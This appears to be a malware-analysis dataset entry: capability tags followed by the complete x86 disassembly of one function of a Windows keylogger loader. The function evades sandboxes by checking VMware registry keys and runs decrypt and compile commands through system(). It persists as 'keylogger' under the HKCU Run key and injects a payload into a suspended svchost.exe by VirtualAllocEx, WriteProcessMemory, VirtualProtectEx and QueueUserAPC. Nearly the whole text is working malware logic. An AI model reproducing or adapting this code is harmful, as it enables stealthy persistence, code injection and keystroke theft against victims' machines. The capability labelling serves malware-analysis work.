Function at 0x69fc14bc
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Execute command
Inject apc
Persist via run registry key
Resume thread
Self delete
Set registry value
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1dc
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x69fc14e7
cmp eax, 1
jb 0x69fc19d1
cmp eax, 3
ja 0x69fc19d2
jmp 0x69fc19d1
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
lea eax, [ebp - 0x48]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREVmware_Inc.Vmware_Tools
mov dword [esp], 0x80000002
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.HARDWAREDEVICEMAPScsiScsi_Port_2Scsi_Bus_0Target_Id_0Logical_Unit_Id_0Identifier
mov dword [esp], 0x80000002
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x20], 0
je 0x69fc156a
cmp dword [ebp - 0x24], 0
jne 0x69fc15a4
mov dword [esp + 0xc], 2
mov dword [esp + 8], str.Alert
mov dword [esp + 4], str.Sandbox_detected
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [ebp - 0x1c], 2
mov dword [esp], 0
call sym._ExitProcess_4
mov ebx, 0x69fc4414
mov esi, 6
lea eax, [ebp - 0x41]
mov ecx, eax
call fcn.69fc24a4
lea eax, [ebp - 0x58]
lea edx, [ebp - 0x41]
mov dword [esp + 8], edx
mov dword [esp], ebx
mov dword [esp + 4], esi
mov ecx, eax
call method.std::vector_char_const__std::allocator_char_const___.vector_std::initializer_list_char_const___std::allocator_char_const__const_
sub esp, 0xc
lea eax, [ebp - 0x41]
mov ecx, eax
call method.std::allocator_char_const_.allocator__
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sym.BrLogAPI.dll_IsAnyProcessRunning_std::vector_char_const__std::allocator_char_const____const_
test al, al
je 0x69fc15ff
mov dword [ebp - 0x1c], 2
mov dword [esp], 0
call sym._ExitProcess_4
mov dword [esp + 0xc], 0x20
mov dword [esp + 8], str.Success
mov dword [esp + 4], str.Hello__youre_being_hacked
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
cmp dword [ebp - 0x1c], 0
jne 0x69fc170c
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Success
mov dword [esp + 4], str.Malware_Loaded
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [esp], str.python_decrypt.py
call sym._system
mov dword [esp], str.g__o_test.exe_decoded_output.cpp
call sym._system
mov dword [esp], str.del__Recurse__Force_decoded_output.cpp
call sym._system
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x28], str.C:Users_username_path_to_test.exe
lea eax, [ebp - 0x5c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20006
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x69fc170c
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x5c]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.keylogger
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
cmp dword [ebp - 0x1c], 1
jne 0x69fc19bb
lea eax, [ebp - 0x138]
mov ebx, 0x69fc42f4
mov edx, 0x32
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x30], 0xc8
lea edx, [ebp - 0x17c]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x19c], 0x575c3a43
mov dword [ebp - 0x198], 0x6f646e69
mov dword [ebp - 0x194], 0x535c7377
mov dword [ebp - 0x190], 0x65747379
mov dword [ebp - 0x18c], 0x5c32336d
mov dword [ebp - 0x188], 0x68637673
mov dword [ebp - 0x184], 0x2e74736f
mov dword [ebp - 0x180], 0x657865
lea eax, [ebp - 0x6c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x17c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x19c]
mov dword [esp], eax
call sym._CreateProcessA_40
sub esp, 0x28
test eax, eax
sete al
test al, al
je 0x69fc184a
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_Create_a_New_Process___n
call sym._wprintf
mov dword [ebp - 0x1ac], 1
jmp 0x69fc19b4
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x3c], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov dword [esp], str.Allocated_the_memory_:__p_n
call sym._printf
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x30]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x138]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x69fc1916
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_Write_Payload_into_the_memory_n
call sym._wprintf
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [ebp - 0x1ac], 1
jmp 0x69fc19b4
lea eax, [ebp - 0x70]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20
mov eax, dword [ebp - 0x30]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._VirtualProtectEx_20
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x69fc1987
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_Change_the_memory_protection__n
call sym._wprintf
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [ebp - 0x1ac], 1
jmp 0x69fc19b4
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._QueueUserAPC_12
sub esp, 0xc
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._ResumeThread_4
sub esp, 4
jmp 0x69fc19bb
mov ebx, 0
jmp 0x69fc19c1
mov ebx, 1
nop
lea eax, [ebp - 0x58]
mov ecx, eax
call method.std::vector_char_const__std::allocator_char_const___.vector__
test ebx, ebx
je 0x69fc19dc
jmp 0x69fc19d2
nop
mov dword [ebp - 0x1ac], 1
mov eax, dword [ebp - 0x1ac]
jmp 0x69fc1a10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0xc